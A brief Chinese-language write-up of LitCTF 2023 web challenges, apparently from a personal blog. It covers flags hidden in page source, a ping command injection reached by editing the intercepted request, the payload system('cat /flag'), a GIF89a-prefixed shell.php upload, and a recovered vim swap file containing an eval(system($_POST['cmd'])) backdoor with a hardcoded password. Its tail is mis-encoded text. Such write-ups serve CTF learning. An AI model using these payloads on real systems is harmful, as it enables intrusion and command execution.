Jay 17

LitCTF 2023 web wp

我Flag呢？

在源码里面，Ctrl+U看一下。

Follow me and hack me

Ping

前端有过滤，只能输入ip，不能加点系统命令什么的。

抓包改包，发现可以执行系统命令，前面提到的前端验证猜想成立。

获得flag

导弹迷踪

前端小游戏，flag在源码里面，拼接一个NSSCTF就行啦。

PHP是世界上最好的语言！！

题目描述：

探姬坚信PHP是世界上最好的语言，于是她用PHP写了一个小工具 （Flag位于根目录）

payload:

system('cat /flag');

作业管理系统

查看源码，获得账号密码

进入管理界面，创建文件shell.php。

然后编辑，写入：
GIF89a

访问shell.php，执行命令

Vim yyds

先扫一下目录

这题是vim泄露，原理如下。

访问/.index.php.swp，下载一个文件如下(自己整了一下，太乱了)：


?>
}
eval(system($_POST['cmd']));
echo "Oh You got my password!";
if ($_POST['password'] === base64_encode($password)) {
echo "can can need Vim ";
$password = "Give_Me_Your_Flag";
error_reporting(0);

 闃熼噷甯堝倕璇碫im鏄笘鐣屼笂鏈€濂界殑缂栬緫鍣紝涓嶆帴鍙楀弽椹?

  Vim yyds        } font-size: 20; p { br, } align-items: center; justify-content: center; display: flex; color: #39c2ff; h3.vim_said { } margin-left: 5px; margin-top: 50; justify-content: center; align-items: flex-start; display: flex; color: #50f728; h1.vim_yyds { } height: auto; width: 8rem; border: none; img { } justify-content: center; vertical-align: middle; align-content: center; display: flex; div.vim { } justify-content: center; align-items: center; display: flex; html { body,